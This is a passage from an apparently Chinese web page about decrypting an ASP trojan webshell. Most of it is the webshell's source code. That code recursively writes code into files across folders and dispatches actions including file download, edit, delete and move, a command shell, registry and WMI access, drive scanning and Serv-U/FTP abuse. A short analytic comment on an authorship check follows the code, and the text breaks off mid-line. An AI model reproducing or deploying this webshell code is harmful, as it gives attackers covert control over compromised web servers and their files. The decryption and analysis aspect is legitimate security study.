asp木马代码解密的随机加密webshell

ath&myfile.name,True)
objCountFile.Write NewCode
objCountFile.Close
RRS"√ "&Wpath&myfile.name
Set objCountFile=Nothing
case else
RRS"你很想破吗?真的很想破吗?没门我告诉你.":response.end
end select
else
RRS"× "&Wpath&myfile.name
end if
RRS " → <a href=''javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""DownFile"")'' class=''am'' title=''下载''>Down</a> "
RRS "<a href=''javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""EditFile"")'' class=''am'' title=''编辑''>edit</a> "
RRS "<a href=''javascript:FullForm("""&replace(str1,"\","\\")&""",""DelFile"")'' onclick=''return yesok()'' class=''am'' title=''删除''>Del</a> "
RRS "<a href=''javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""CopyFile"")'' class=''am'' title=''复制''>Copy</a> "
RRS "<a href=''javascript:FullForm("""&replace(Wpath&myfile.name,"\","\\")&""",""MoveFile"")'' class=''am'' title=''移动''>Move</a><br>"
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
NewPath=Wpath&""&f1.name
InsertAllFiles NewPath,Wcode,pc
Next
set tfile=nothing
Set FSO = Nothing
set tfile=nothing
set tfile2=nothing
Set WFSO = Nothing
End Sub:Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "TRegedit":TRegedit():Case "plUpFile":PageUpload():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "Alexa":Alexa("AlexaURL"):Case "Alexa":getHTTPPage("url"):Case "Alexa":bytes2BSTR("vIn"):Case "DbManager":DbManager():Case "Course":Course():Case "wmi":wmi():Case "ScanDriveForm" : ScanDriveForm:Case "ScanDrive" : ScanDrive Request("Drive"):Case "ScFolder" : ScFolder Request("Folder"):Case "adminab":adminab():Case "sqlabc":sqlabc():Case "fuck":fuck():Case "php":php():Case "lpdel":lpdel():ToMdb():Case "MMD":MMD():Case "hook":hook():Case "gody":gody():Case "suftp":suftp():Case "upload":upload():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:if Action<>"Servu" then ShowErr():RRS"</body></html>"

%>

对于这个shell我有几个地方敢兴趣。
1，if server.URLEncode("幽月")<>"%D3%C4%D4%C2" then response.end
后面的url加密就是幽月，判断是否相等，作者是幽月？？
复制代码 代码如下:
if Instr(Serveru,"127.0.0.1")<&